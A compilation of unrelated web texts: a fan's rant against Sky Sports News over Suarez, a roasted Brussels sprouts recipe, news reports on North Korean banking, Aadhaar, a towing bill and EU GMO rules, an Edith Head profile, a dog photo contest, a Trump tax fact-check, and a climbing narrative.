Sky Sports News has become a sort of pornographic mosaic of news, views, presented by semi-topless models whose teeth and boobs have definitely helped to enhance Sky’s 3D package. Oh, not that I’m complaining mind you, but is that what a 24hr sports news channel is really all about? And then when there is real controversy Bryan Swanson and Geoff Shreeves swing into action like Bodie and Doyle, prying probing and persecuting.
I believe Tevez, Suarez, and Terry have been real victims of the Sky Sports News war machine – even referee Mike Clattenburg fell under the Sky microscope after the battle of Stamford Bridge. But Suarez in particular has had Swanson and Shreeves banging out the overtime figures as each incident becomes more bizarre, bordering on comical.
Don’t get me wrong, Suarez has been the architect of his own downfall, but Sky never fail to stick the knife in again, again and again, four times an hour, not with standing future references whenever the opportunity arises.
Sky’s coverage of the “Evra incident” was mind-blowing, as was their coverage over the non-hand shake with Evra. It was pathetically shown again and again in slow motion just in case we missed it the other 99 times that day.
The compilations of the Suarez dives and non-dives including the Moyes dive, and his dive to the car, filled hours of Sky coverage. Then the golden goose, frustrated at being out battled by the infinitely bigger and stronger Ivanovic, Suarez bit the player on the arm. You gotta laugh, but the FA, the Media and Sky in particular, did not. Not even the plethora of Dracula films have shown a bite caught by so many camera angles! It appears that extra satellites were commandeered in from other news channels just to help clarify the impact of the bite for the world, and of course the FA, because that was really such an important issue.
Please do not think I condone Suarez’s behaviour – it’s really juvenille and stupid. But a 10-match ban, when career threatening challenges have gone both punished and unpunished by the FA, for a soppy bite on the arm? Please. Yes, its unsavoury (well, maybe savoury for Suarez, who knows), and yes it should be punished, but should a news channel and the media be perpetuating the media frenzy which resulted in the clueless persecution of a world class talent, who but for the relentless attentions of the English Media would probably been happy to stay at Liverpool? For me it was a witch hunt.
Now, back to Suarez and the rumour of his arrival at the Emirates…
Now any mug backing Suarez to come to Arsenal needs sectioning, apart from a few rounds of Champions League football and a Premiership run in that could lead to 4TH place again, what have Arsenal got to offer Suarez? Wenger couldn’t handle Arshavin’s sulks, so what would he make of being chewed on by the South American?
Tevez has gone, Balliotelli, another Sky news stalwart, has also gone, both having suffered the relentless attentions of Sky. I think Suarez will follow should he attract the right bid from abroad.
Sky’s money and coverage of sport has revolutionised football, boxing, tennis, golf and even darts. It is truly fantastic for most purposes! My beef is with its sensationalist hunt for controversy, which sickens me and cheapens the game of football! It will drive big names from our shores and stop them from coming.
Where is the need to constantly question managers about their future, especially after they have just lost a big game!
That is not reporting news, its speculation, and half the time the speculation begins with Sky. There is a seemingly never-ending linking of players to clubs when their is no foundation based on bookmakers’ reports, their own bookmakers, Skybet. I imagine that must make a fortune by creating speculation than taking bets on it.
I used to enjoy having a 24hour sports channel, but if I wanted 24hr baseless speculation and controversy regurgitated every 15 minutes I would watch FOX NEWS instead – “Over to you Skip. Thanks, Shep “.
When you buy a newspaper or watch News at TEN, You hope it’s going to be reasonably objective, but mostly you want the truth backed up by the real facts. Sky Sports News seems to have lost the true concept of honest news reporting, filling in the gaps that suit their own sense of sensationalism.
I personally believe that it helped lose Dalgliesh his job – their post-match interviews with Brian McDermott made me angry, their treatment of Mancini made me cringe, and the infernal linking of Redknapp to the England job now seems baseless. Isn’t news supposed to be what’s happened, not what might happen?
I believe Sky’s dissection of incidents influences the FA in their own decisions, who at times seem worried about how decisions are second-guessed and dissected by what is supposed to be a news channel and not part judge and jury. I personally believe that pressure led to Suarez’s exorbitant punishment, which has encouraged him to want to leave England.
Everything I have said is based strictly on my own opinions and observations, but the next time you’re engrossed in a soap of who’s going where, who bit, struck or slept with whom, which manager has been sacked or caught in bed with what agent, and did they shake hands first, question where the story originated. Or if SkyBet’s speculation has persuaded you to back Wenger to sign a talented French embryo at 2/1, or Messi to join Neil Warnock back at QPR at EVEN MONEY, remember you’re watching a sports news channel not Emmerdale, and that I did warn you. Also remember that Suarez ain’t coming to Arsenal
Say good night, Skip…
Richie Rich
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Main photo credit: Articularnos.com via photopin ccThese Honey Balsamic Roasted Brussels Sprouts are not only beyond easy to prepare, but I guarantee they will be gone in no time so make plenty! These will become your new healthy addiction.
I was never a big fan of brussels sprouts until I tried them roasted. I always had them steamed, sometimes with melted cheddar cheese on top, sometimes with just a squeeze of lemon. But roasted? These brussels sprouts are so good!
Some may think of them as mini cabbages, they look like them, but it is a compact and flavorful vegetable that when caramelized is irresistible and you will be popping these in your mouth – one after another.
MY LATEST VIDEOS MY LATEST VIDEOS
Roasting the brussels sprouts really gives them a nutty flavor and besides being super healthy, they are tasty.
What’s my secret that makes these Roasted Brussels Sprouts so good?
I toss these little beauties in a honey and balsamic vinegar mixture after roasting for an incredible dimension in flavor. It sealed the deal for me.
It’s a great side dish or main dish for a meal. The balsamic vinegar makes it tangy, and the honey gives them some sweetness. When tossed with the roasted, caramelized brussels sprouts – heaven.
How to Make Roasted Brussels Sprouts
First let’s preheat your oven to 425°F. Line a baking sheet with aluminum foil or use a silicone baking mat.
Trim off the outer, dry leaves, cut the bottom off and slice lengthwise.
In a large bowl, toss brussels sprouts with olive oil, kosher salt and freshly cracked black pepper to coat thoroughly.
Transfer the brussels sprouts to baking sheet and roast until tender and caramelized, about 20 minutes.
Place the roasted brussels sprouts back in a bowl, or keep on the tray, because then you’re going to toss these in a fantastic combination of flavors. Add the remaining tablespoon of olive oil, balsamic vinegar and honey and toss to coat evenly. Taste and season with kosher salt if necessary and serve.
That’s it! All under 30 minutes, too. Thought there was more to it? Nope, not at all. Sometimes the simplest or easiest can be so good.
If you are a Brussels Sprouts lover try my Pan Roasted Brussels Sprouts and Leeks with Ginger, Pan Roasted Cauliflower and Brussels Sprouts with Chimichurri, Chicken with Brussels Sprouts and Mustard Sauce, Corned Beef Potato Gratin with Brussels Sprouts. Enjoy!
This recipe first appeared on Kevin Is Cooking July 2014 and has been updated with new photos and video.
BEIJING (Reuters) - Bank of China Ltd (3988.HK) (601988.SS) has shut the account of North Korea’s main foreign exchange bank, which was hit with U.S. sanctions in March after Washington accused it of helping finance Pyongyang’s nuclear weapons program.
A woman walks past a sign of Bank of China at its branch in Beijing March 26, 2013. REUTERS/Kim Kyung-Hoon
The state-run Foreign Trade Bank had been told its transactions had been halted and its account closed, Bank of China, the country’s biggest foreign exchange bank, said in a brief statement on Tuesday. It gave no reason for the closure and the bank declined to comment further.
The closure is the first significant, publicly announced step taken by a Chinese entity to curb its dealings with North Korea in the wake of international pressure to punish Pyongyang over its banned nuclear and ballistic missile programs.
“I think it is indeed a very noteworthy action,” said Zhang Liangui, a North Korea expert at China’s Central Party School, adding Bank of China was probably concerned about its reputation and thus closed the account.
“In taking this action I think there are political considerations as well as considerations about its own interests.”
The U.S. sanctions prohibit any transactions between U.S. entities or individuals and the Foreign Trade Bank.
Japan has followed suit while Australia is expected to do the same soon. Washington has also urged the European Union to impose sanctions on the Foreign Trade Bank and has raised the issue with China, although Beijing has not commented publicly on the bank.
Experts have said Washington’s move was designed to make foreign banks that do business in the United States think twice about dealing with the Foreign Trade Bank, in much the same way that banks have become wary about having ties with financial institutions in sanctions-hit Iran.
China is North Korea’s traditional ally and its biggest trading partner. It is unclear how much of the $6 billion in annual bilateral trade goes through the Foreign Trade Bank.
Among China’s other large banks, a spokesman at China Construction Bank (601939.SS) said the bank did not do any business with the Foreign Trade Bank.
Industrial and Commercial Bank of China (601398.SS) and Agricultural Bank of China (601288.SS) were not immediately available for comment.
China has become increasingly frustrated with North Korea in recent months. It agreed to new U.N. sanctions after Pyongyang conducted its third nuclear test in February.
Those sanctions, announced on March 7, target the North’s attempts to ship and receive cargo related to its nuclear and missile programs and tighten financial curbs, including the illicit transfer of bulk cash.
The U.N. measures did not address the Foreign Trade Bank. Washington imposed its own sanctions several days later.
EMBASSIES, NGOS USE NORTH KOREAN BANK
Not much is known about the Foreign Trade Bank, whose assets and investments are a state secret. But foreign embassies, non-governmental organizations and U.N. agencies in Pyongyang all use it.
Germany and France have expressed concern about the possible impact on aid groups as well as European embassies should the EU place sanctions on the bank, sources with knowledge of the matter have previously said.
Washington has targeted North Korea’s limited financial links to the global community before. In 2005, some $25 million in North Korean money was frozen in a U.S. Treasury-inspired raid on Macau-based Banco Delta Asia (BDA), which Washington alleged handled illicit funds for Pyongyang.
Reuters reported in April that Chinese banks had to rate their clients’ risk of criminal conduct on a scale of 1-5 as part of the central bank’s moves to curb money laundering and fraudulent transactions estimated at hundreds of billions of dollars a year.
The new rules come as some experts cite China as the world’s biggest source of “dirty” funds and as it faces growing foreign pressure to scrutinize its financial links with North Korea and block cash transfers tied to Pyongyang’s nuclear ambitions.
South Korea’s Yonhap news agency in March said Beijing had warned North Korean banks to stay within the remit of their permitted operations in China or risk penalties. Chinese regulators have not commented on that report.
China has said it wants the U.N. measures enforced, but few analysts believe Beijing will take steps that significantly hurt North Korea as it is committed to a policy of engagement with Pyongyang.
China has stepped up checks on shipments to and from North Korea, but the flow of goods in and out of the reclusive state appears largely unaffected, according to more than a dozen trading firms Reuters spoke to recently.Biometric data of about 99 crore Indians have been collected so far under Aadhar scheme and the data is encrypted and its secrecy and security ensured, the Rajya Sabha was informed today. IT Minister Ravi Shankar Prasad also set aside fears of members on the data collected under Aadhar and said it is sorted within the country at data centers in Bangalore and Manesar and no foreign agency is involved in data collection.
“Today we have got 99 crore Indians on Aadhar. In case of Direct Benefit Transfer scheme, Rs 15,000 crore was saved and in case of PDS, Rs 2,346 crore was saved in four states. “As far as privacy part is concerned, I want to assure this House that under the architecture which was started by your government, all the care has been taken to ensure its privacy,” he said during Question Hour.
He said as far as the legislation in this regard is concerned, the House will get the occasion to examine it and there are privacy provisions in it.
“As far as I can recall, the core biometerics cannot be shared even with the consent with its owner,” he said, adding that all apprehensions will be allayed when it comes up before the House. The bill is pending before the Lok Sabha.
Prasad said “as of now, the issue of challenge to Aadhar is pending before a constitution bench of the Supreme Court which had passed certain interim orders. Thereafter, the Authority and many other bodies went (to it) and Supreme Court has permitted invoking the benefits through the Aadhar platform for a variety of services including MNREGA.”
“It only will create an enabling atmosphere through the platform of Aadhar, depending upon how you choose the particular service to be delivered by various government departments,” he said.
As regards the agency which undertakes the data collection, there is a three-tier architecture – first the state government, public sector banks and the common service center.
“No agency linked to any foreign agency is there in this,” Prasad said, adding that once the biometrics is collected, it gets encrypted immediately and its sanctity is maintained.
“There are nearly 99 crore data (which have been collected) and no allegations have come that my knowledge that the biometrics have been sought to be abused or it has been pilfered,” he said.Think twice before you drive your Jeep into that muddy pool -- it could cost you more than your car is worth. (Photo11: Tim Loehrke, USA TODAY)
Now, that’s the pits.
A Massachusetts man whose Jeep got stuck in a mud pool while off-roading with his girlfriend says a towing company presented him with a bill totaling nearly $49,000 for pulling it out.
Joel Ramer told local TV station WFXT that he ended up in a mud pit last week in Walpole, a suburb south of Boston, and called for a tow. After 12 hours of work, the towing company, Assured Collision, extracted the vehicle.
But when he went to pick it up, Ramer says he was given a bill for $48,835.
“He informed me there was some damage done to the vehicle, but didn't get into details,” Ramer told the station. “He also informed me the bill was $48,000. I thought they made a mistake."
In truth, it seems that Ramer and his girlfriend were being naughty in their off-road adventure -- in addition to getting the vehicle stuck, he also got arrested and cited for trespassing and disturbing the peace, WFXT reported. Ramer said he was unknowingly on private property owned by a utility company.
Here’s the, er, breakdown of some of the items on the bill: $16,000 for an on-scene supervisor at $1,250 an hour. More than $10,000 for an off-road recovery incident response unit. A $5,000 fee for “dangerous condition liability insurance.” All in all, $48,835.
On Assured Collision’s Facebook page, reaction to the bill was incredulous. “Wow, Assured Collision of Walpole MA found a sure fire way to make a dollar,” said one user. “What a bunch of incompetents,” said another. “48k for not having a clue how to do your job … i wouldn't trust you to tow a scooter.”
The owner of Assured Collision, whose mission statement is "Price is Important, Satisfaction is Priceless," told WFXT that the Jeep's proximity to power lines put his seven-man team in dangerous conditions and that the fees reflect the industry standard.
But the Statewide Towing Association told the station that the rates quoted appear to be out of whack. "Although Statewide Towing Association has not had a chance to review the actual invoice,” said a statement, “the rates quoted... appear to be significantly in excess of the industry standard."
In addition, the association said the industry standard for an onsite supervisor is between $175 and $325 an hour, not the $1,250 that Assured Collision charged, and that they have never heard of dangerous condition liability insurance, for which Ramer was billed $5,000.
The tow company’s owner also told the station that he is negotiating with Ramer’s insurance company. However, Ramer claims he is refusing to pay anything toward the tow, so the vehicle remains at Assured Collision’s lot, where a lien has been placed on it.
Read or Share this story: http://usat.ly/1Miaj7aThe European Commission wants to give national governments the power to ban food with genetically modified (GM) ingredients, but diplomatic sources indicate governments will kindly refuse the offer.
One EU source from an anti-GM country told this website opponents prefer the current system because they can “blame Brussels” for authorising the use of GM foods.
Another source said: “The initial reactions to the commission's proposal were sceptical”, adding that both pro-GM and anti-GM member states expressed negative views.
So far, not even one member state seems to have embraced the plan, which would give countries the possibility to ban the use of genetically modified organisms (GMOs) in food, even if it has already been approved on an EU-wide level.
So why are national governments refusing power?
One reason is that there are concerns over how it could be implemented.
A ban on GMOs in food, if a country would choose to exercise one, would only be on its use, not on its importation. Because of single market rules, genetically modified ingredients, or food made with GMOs, cannot be stopped at a national border.
“This proposal is putting all the weight on the member states to decide, but is not giving us the tools to enforce, without breaking the internal market rules”, a Polish diplomatic source told this website shortly after the commission published its proposal in April.
As things stand, GMOs can only be used in food (both human and animal food) if they are first authorised at EU level.
After a scientific assessment by the European Food Safety Authority (EFSA), EU member states are also asked to provide an opinion.
But GMOs are a highly divisive issue, and there are, roughly speaking, three groups of EU countries.
One group is “utterly, totally, radically, irrevocably, irretrievably opposed to anything that looks, sounds, moves, smells like a GMO”, according to the EU diplomat from an anti-GMO country. The second group bases its position on the scientific assessment by EFSA and almost always votes to approve, while the third group always abstains.
A qualified majority, needed for an official position on behalf of the member states, is hardly ever reached.
“Member states could not draw the line between Yes or No for GMOs, de facto leaving it to the commission to decide”, food safety commissioner Vytenis Andriukaitis said in a speech in the European Parliament on Monday (8 June).
Because all the commission has to base its decision on is the positive assessment by EFSA, it approves the GMO.
Blame Brussels
“From the member states' point of view, it's absolutely marvellous … brilliant”, said the diplomatic source.
“We have found somebody else to actually take the decision. The commission over the years has been getting all the flak”, he noted.
Governments of countries where the population is against use of GMOs “can go back home and say: ‘We were fiercely against. Irresponsible! Nasty technocrats, how could they?’.”
“I've always wondered how we managed to get the commission to agree to such a system in the first place. It probably sounded like a good idea at the time. Now they are sick and tired of the blame every time.... It's the proverbial hot potato. Any volunteers for a hot potato?”, noted the EU diplomat.
For his part, Andriukaitis said Monday the “status quo is not sustainable” and invited “everyone to take their responsibilities”.
But according to EU sources, it will be “extremely difficult” to get the necessary approval for the new plan from member states. The only agreement so far “is that everybody is against it”.
Renationalisation
In the European Parliament too, critical questions were aimed at the proposal.
Two of the political groups who might have been the most obvious candidates in favour, spoke out against the idea last Friday (5 June).
“It's a good thing that there is, let's say, a possibility to ban GMOs, but we are in favour of having European legislation on this.... We would like to have European rules and not a renationalisation”, said Greens spokesperson Ruth Reichstein.
The centre-right ECR group, which includes the British Conservatives, and could be expected to support'renationalisation' of powers, was also critical, but for different reasons.
It criticised the fact, that under the plan, countries would be able to provide non-scientific reasons for banning the use of a GMO.
“Whilst measures to decentralise the process could be welcome, that should still be based on scientific principles and not on voodoo science”, said James Holtum.
Agriculture ministers are meeting next Tuesday (16 June), but according to a source from Latvia, which will chair the meeting, the “very sensitive issue” will not be discussed due to a “full agenda”.
The next opportunity will be a meeting on 13 July.Google Doodle: remembering the costume designer Edith Head
Google Doodle gets a glamorous makeover thanks to the 116th birthday of Edith Head, one of the greatest costume designers of all time
BY Olivia Lidbury | 28 October 2013
Photo: REX
Despite having no formal art or fashion training, Edith Head was one of the most successful costume designers of all time with a career than spanned six decades.
She created costumes for over 400 films, including Audrey Hepburn's gowns in Roman Holiday (1953) and Elizabeth Taylor's in the 1951 movie a Place in the Sun.
In 1955 Grace Kelly received the Oscar for Best Actress wearing a pale blue, spaghetti-strap gown made by Head using $4,000 worth of fabric. At the time it was deemed the most expensive Oscars dress ever made.
The Google Doodle dedicated to Edith Head
Head, born Edith Claire Posener in California 116 years ago today in 1897, started out as a language teacher specialising in French following her graduation from Stanford University. When she wanted to command a higher salary, she told her school she could teach art, even though she hadn't studied the subject since high school.
She went on to marry Charles Head, the brother of a friend she made at the evening art classes she took to further her drawing skills, in 1923. The couple divorced in 1936. Head subsequently remarried set designer Wiard Ihnen in 1940; she was left a widow by his death from prostate cancer in 1979.
Hired by Paramount Pictures as a costume sketch artist in 1924, Head later admitted to borrowing another student's sketches for her job interview. But she was obviously doing something right: she stayed with the company for 43 years until she was signed by Universal Pictures in 1967.
Grace Kelly in 1955 wearing a gown by Edith Head
Head consulted with the leading ladies in the film she worked on, meaning she was a favourite of the aforementioned Kelly and Taylor, as well as Sophia Loren, Ginger Rogers and Shirley MacLaine. She was a favourite of directors Alfred Hitchcock, Jerry Lewis and Hal Wallis. Head went on to win eight Oscars of her own during her career, more than any other woman in history. She also penned a book, How to Dress for Success, which is still on sale and is cited as a classic style resource despite being half a century old.
Head died of myelofibrosis, an incurable bone marrow disease, in 1981. But her legend lives on - sort of - in the character of Edna Mode in Disney/Pixar's The Incredibles. Mode is a black-rimmed spectacle-sporting eccentric fashion designer who creates costumes for those on the superhero community, and more than reminiscent Head.The past few days have probably been some of the most difficult in my life. Maybe that’s not saying too much considering I live a celebrity life, but still.
So let me just reiterate the team of judges before we start here. There were 5 judges for this contest, including my brother Oakley, my friend Laffie, one undisclosed friend, myself, and of course Ms. Kellie – the wonderful artist who will be painting the winning photo. I can tell you we had a heck of a time narrowing down the 333 photo entries we had into a final list of 10. From there we then chose the 1st, 2nd and 3rd place winners (oh, and 1 bonus winner ; ).
So first, let’s take a look at the Top 10 Dog Portrait Photos that made it to the final round (in no specific order):
Rosie – photo by MatthewHailing from my hometown of Ottawa, Rosie is the definition of stoic. As you can see, she can really hold a great portrait pose.
Bruce – photo by LeaWe just loved Bruce’s expression here. For some reason, we can really picture him talking.. Although, you would have to picture him speaking Italian because he’s from Milan.
Susi – photo by MichaelaComing from Vienna, Susi is a real cutie and a sweetheart. Those wrinkled little cheeks are just begging for kisses from my Mum!
Petunia – photo by Krishna.A great photo. Petunia has such a soft and kind face..
Peanut – photo by AmandaLove the name peanut for this little brown dachshund from Maine, and that quirky smirk just adds to the character!
Blue – photo by Kristin.This is Blue asking his mom if he can keep the little lady bug on his nose!
Pixie – photo by ElisabethThis little Australian puppy is as cute as a button, but doesn’t seem too sure about having her portrait taken ; )
Bauer – photo by AmyYou got to love Bauer’s ulta-casual pose here!
Lego – photo by KayIf I didn’t know better, I might think that Lego has a professional photographer on staff, (as do I). Lovely picture and even lovelier dog.
Freddie – photo by JennaAs much as I may mistrust wire-haired dachshunds, you have to admit that Freddie is quite a charmer. I think I could trust this guy.
Alright, now it’s time for the winners!
Coming in as our 3rd place winner…
Bruce!
And our second place winner is…
Peanut!
And finally, our 1st Place Winner for the Portrait-Pose Photo Contest is…
Blue! We loved this picture as we could really envision it as a painting. Especially with those big, wanting eyes, and the little lady bug on the nose adds a special touch.
Congratulations to our winner!
But wait, since we had such a hard time choosing the winners, we just had to throw in a 4th (bonus) Place…
Pixie!
I hope her expression brightens up when she realizes she was a winner ; )
So a big congratulations to our winners, and by that I mean everybody – because all the photos were winners to me! The end of a contest is always difficult, but it’s fun along the way. Thanks to everyone for participating, there will be many more to come!
I would also like to thank our very special artist, Kellie of Doodle Dog Paintings for making this awesome contest possible. She is very excited to paint the winner, and I can’t wait to show you all the painting once it’s done!
Keep posin’,
~ Crusoe
(winners will be contacted to arrange prizes).
My New Book! Featuring my worldly travels far and wide, from Europe to Mexico and more, and the whole story of my surgery and recovery! Rated 5 stars on Amazon! Get Yours!
Comments
comments“And as far as the tax returns, as soon as the audits complete, like any lawyer would tell you — Greta Van Susteren, she was going over it a while ago, she’s a lawyer. She said, well, no lawyer would let somebody release a tax return when they’re under audit. It’s a routine audit. I’ve gone through audits, which I think is very unfair, for 15 years. I have friends that are very rich and never get audited. I’m audited every year. Maybe that’s because of politics, who knows.”
— Donald Trump, news conference, July 27, 2016
“Mr. Trump has said that his taxes are under audit and he will not be releasing them.”
— Trump campaign chief Paul Manafort, CBS interview, July 27, 2016
We have officially entered the general election campaign, with both major parties’ conventions behind us. For the past four decades, every major-party presidential candidate has released tax returns — and most of them had done so by the time they were officially nominated at the conventions.
That is not the case this year. Donald Trump has consistently refused to release his returns, and there’s no indication he will do so before the election. By contrast, Hillary Clinton has released three decades’ worth of tax returns. Only Jeb Bush had released more tax returns than Clinton out of all the candidates who sought their parties’ presidential nomination this year.
Trump once declared that there’s “nothing to learn” from the returns, which was Four-Pinocchio false. He is now citing a pending Internal Revenue Service audit, even though the first president to release his taxes, Richard Nixon, did so in the middle of an audit. Moreover, Trump has not released his tax returns from before 2009, which are no longer under audit, according to his attorney.
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February 25, 2019 Pence announces new sanctions on Venezuela’s Maduro Vice-presidential nominees also have routinely released their tax returns. Republican Mike Pence and Democrat Tim Kaine have not yet released their returns. We have not heard back from the Trump campaign about whether Pence will release his returns; we will update this column if we do. A Clinton campaign official said Kaine “will release his tax returns in the near future.”
Presidential candidates have no legal obligation to release their returns, but there has long been a tradition to do so for the sake of transparency. While Trump has not released the returns, his long history of litigation has given the public a sense of what is in his returns.
Here’s a look at what we know about Trump’s taxes: He did not pay any (or nearly any) income taxes at least five times in the past 40 years.
1970s
The earliest record of Trump’s publicly revealed income tax information dates to the late 1970s, when Trump paid no federal income tax for at least two years. Trump’s tax returns, examined by the New Jersey Casino Control Commission in 1981, showed that he paid $0 in federal income taxes in 1978 and 1979, The Washington Post found. During those two years, he had no federal income tax liability primarily because of the losses he incurred operating his rental properties.
In 1975, 1976 and 1977, Trump did pay federal income taxes, it showed. The breakdown:
1975: $76,210 in income; $18,714 in taxes
1976: $24,594 in income; $10,843 in taxes
1977: $118,530 in income; $42,386 in taxes
1978: -$406,379 in income; no taxes
1979: -$3,443,560 in income; no taxes
1980s
The next record available is from 1984, when Trump also reported no income. In a Daily Beast article, David Cay Johnston wrote about rulings in two tax appeal cases (Trump lost both) that shed new light on Trump’s finances in 1984. (The judges’ rulings in the two cases are embedded at the end of this factcheck.)
In one case, Trump contested whether he was subject to a city business tax on his gains from selling a condominium unit in 1984. A New York City administrative law judge found that Trump had reported no personal income in his 1984 federal income tax but reported a $2,365,352 capital gain from the sale and total deductions of $626,264. Yet Trump had not provided documentation justifying the deductions.
That year, Trump reported his principal business activity as “consulting” — but reported no income or receipts from this activity, the judge wrote. He reported a negative taxable business income of $619,227.
“The record does not explain how Petitioner had significant expenses without any concomitant income from his consulting business,” the judge wrote.
Trump provided a photocopy of his tax return, which had the signature of his longtime accountant, Jack Mitnick. But Mitnick testified that neither he nor his firm prepared the tax return and that he did not know who did. Johnston wrote: “Among the issues raised by Mitnick’s 1992 testimony is whether Trump or someone acting on his behalf substituted a return that he or someone else prepared and then transferred Mitnick’s signature using a photocopier.”
The judge ruled that Trump was “engaged in a taxable trade or business” and was, therefore, subject to the business tax. The judge didn’t buy Trump’s complaint that he was being double-taxed. The judge said, “The problem at issue is not one of double taxation, but of no taxation.”
The second case also involved Trump’s business activities and whether he took deductions without providing proper documentation. Mitnick testified that Trump paid no federal income tax in 1984 — yet he tried to use a tax credit against his income tax liability.
“Mr. Mitnick has prepared Donald Trump’s income tax returns for the last 20 years and testified that Mr. Trump had no income tax due against which the credit ‘could have been applied,’” the judge in that case ruled.
1990s
There were at least two years in the early 1990s when Trump appeared to have paid zero, or nearly zero, personal income taxes, Politico reported.
This was not illegal but due to losses from his hotel and casino in the early 1990s. (Ultimately, he would declare bankruptcy on those properties.)
Politico reviewed documents covering Trump’s tax liability in 1991 and 1993, as maintained by the New Jersey Division of Gaming Enforcement and the Casino Control Commission. The report showed that in 1993, Trump had a net operating loss that was great enough to prevent him from owing federal income taxes. Creditors limited Trump to a $450,000-a-month allowance (about $750,000 in 2016 dollars)
His debts in 1991 also shielded him from tax obligations, Politico found, citing the document: “As various lenders cancel all or part of DJT’s debt, he will in all likelihood realize taxable gains. However, given the [redacted] in carryforward net operating losses (“NOLS”), any tax resulting should be minimal, if any.”
Trump offered a response through a spokeswoman to Politico’s question about not paying income taxes in the early 1990s: “Welcome to the real estate business.”In |
the far side of the meadow, where we’d be able to see the lower stretches of Lotus Flower Tower, maybe try to lay eyes on the girls as they climbed, as the upper portions were visible from our cave. We ambled between boulders and lounged on the meadow’s spongy moss, and I found that while I’d only been able to walk for a few minutes on pavement without pain in my knee, here on soft ground I felt fine for nearly an hour.
By dinnertime, the six of us had regrouped, and realized that over the course of the day none of us had spotted the three Colorado College climbers. Scott scanned the rock face with his binoculars every few minutes, and we ate our boiled-in-a-bag backcountry meals under the weight of a growing tension. As far as we could figure, they should have either been clearly visible up high on the route, or back in their tent by now.
Once we’d finished eating, we were out of excuses. It had been nearly 18 hours since the climbers set out. Maybe the trio was fine, maybe they had been delayed for some harmless reason we would all laugh about later. Or maybe they were in deep shit, and we were the only help to be had. I squatted by the creek and distractedly did our dinner dishes while Ryan, Melissa and Scott packed up first-aid supplies, a stove, a package of soup, rope and a radio. The plan was for them to head toward the base of Lotus Flower Tower, an hour’s hike away. Gary, Brianne and I stayed back in Kitchen Cave with the other radio and a sickening sense of helplessness. If anything was seriously wrong, medical attention was a half-day hike, an hour’s flight, and a long drive on gravel roads away.
An hour leaked by, then another. I wished that I could help, that I could load up a pack and power-hike down the valley, too. But I was, I reminded myself, not going to be playing the role of rescuer on this trip. I was just another potential rescuee.
Finally, six silhouettes appeared on the far side of the meadow, and the three climbers trudged to Girl Cave with shoulders slumped — visibly exhausted, even from where I sat hundreds of yards away, but uninjured.
It turned out they’d had a hell of a day, starting with an approach hike through the early morning darkness that was trickier than they’d expected. Then, when they’d reached the rock face, they’d found it soaked and running with water from an earlier rain — like a “waterfall,” Lauren told me later. It was, she said, “pretty gnar.”
Soon they were wet and cold, but they struggled slowly upward anyway, losing all track of time as they managed one pitch, then two, then three: handhold, foothold, handhold, foothold, jamming their rubberized climbing shoes against the nubs in the wet rock for traction, fingers searching the rock face for cracks, little ripples or ledges, anything to get a firm grip on.
On the fourth pitch, Lauren was leading, her two partners below. Climbing lead is no different, in terms of handholds and footholds, than any other climbing: the difference is in the amount of protection you have if you fall. In traditional climbing, “trad” as it’s known, lead climbers place pieces of gear of varying sizes into cracks in the rock as they climb with a rope trailing below them. Then they secure their rope, clipping into each piece, creating a chain of protection intended to stop a fall. When you’re climbing second, you’re on a rope that’s already secured above you, seriously limiting the scope of any tumble. But when you’re leading, you’re sometimes climbing well above your last piece before you’re able to place the next one, and a bad enough fall can rip the gear out below you.
The fourth pitch was well within Lauren’s skill level, but she was numb with cold by now and the rock was wet. Too numb, too wet: partway up, she lost her grip, a gecko come unstuck, and dropped through the air for a few feet before being jerked to a stop. Her gear had held. She dangled on the rope from her harness for a moment before her friends lowered her back down to where they waited. It was a routine enough fall, a “nice little whip,” she told me, but under the circumstances, she was shaken up. Hannah took over lead and finished the pitch, and then the three conferred. Hours had passed since they’d left the ground below: they would never make the climb’s halfway point, a ledge where they could spend the night, before darkness fell — even with the sub-Arctic’s long August light.
“It felt like a pretty easy decision to make,” Hannah told me later. They abandoned the climb and prepared to rappel back down to the base of the route. They made it back to solid ground, and were hiking back to camp when Ryan, Scott and Melissa found them.
They knew they’d made the right call, they all told me later, but that didn’t mean they were happy about it. Mareya wasn’t proud of her effort on the climb. Whether they completed the route or not, she wanted to be able to say she’d tried her hardest, and she didn’t feel she had. Hannah, for her part, had felt better, less terrified, than she’d expected — she’d spent a lot of time in the lead-up to the trip pretty deep in her own head, but her nerves had vanished once she was on the rock. She could handle this climb, she’d realized. That made her hopeful about the potential for a second attempt.
When they told me about Cole, they were matter-of-fact. Their friend had died while climbing, they said, and now here they were: climbing. They weren’t here because of his death, and they weren’t here despite it. They would continue to live their lives in the face of risk, just as he had lived his. But it was clear that the avalanche that had taken Cole’s life added another emotional layer to their journey, another bit of weight on their shoulders as they climbed.
“He was totally a guy who just went for it all the time,” Hannah said. “He wouldn’t come up here and do four pitches and say, ‘Oh, I’m tired, I’m going to leave.’”
I’d never spoken to a group of 22-year-olds who were so self-aware, so keenly attuned to their own feelings and motivations and those of their teammates. Really, I thought, most adults of any age could envy the trio’s ability to reflect on their own choices and the emotions behind them. All three were thoughtful, and unblinkingly honest about their fears, their insecurities, their sense of failure or accomplishment. They looked young, maybe younger even than they were, but they spoke with the calm confidence, even wisdom, I might expect in someone much older.
I tried to imagine having to make life-and-death decisions under the weight of all the burdens they were carrying on this trip: wanting to prove themselves to the climbers back home, at least some of whom thought they were in over their heads; wanting to support each other, no single climber wanting to be the one who held the team back; wanting to satisfy their own natures, their own sense of pride as athletes; and wanting to honor Cole, to have an adventure worthy of him.
I couldn’t imagine it.
The next afternoon, Hannah tagged along with Brianne and me while we helped Gary with a stock photo shoot: tramping back and forth in front of his camera with daypacks and hiking boots on, gazing solemnly into the distance. She and Mareya and Lauren had agreed to take an hour apart to consider their next move, whether they wanted to attempt Lotus Flower Tower again. At one point, as we sat on the bank of the stream, lounging while Gary snapped away, Hannah showed us the backs of her hands: bold block-lettered words in black Sharpie: COURAGE, on her left, and HUMILITY, on her right. Whenever she reached for her next handhold during a climb, she couldn’t help but see them.
She had spent the lead-up to the trip believing that courage would be the hard part, she told us. She had worried about keeping her head together, about pushing herself forward, about not quitting. She hadn’t thought as much about her right hand: about the humility needed to know when to stop and reconsider, when to rappel down instead of climbing higher — when to accept that she’d done enough. When to walk away.
After each of them had taken some time to think, the girls decided on a plan: Hannah and Mareya would try Lotus Flower Tower again, while Lauren opted to stay back in camp.
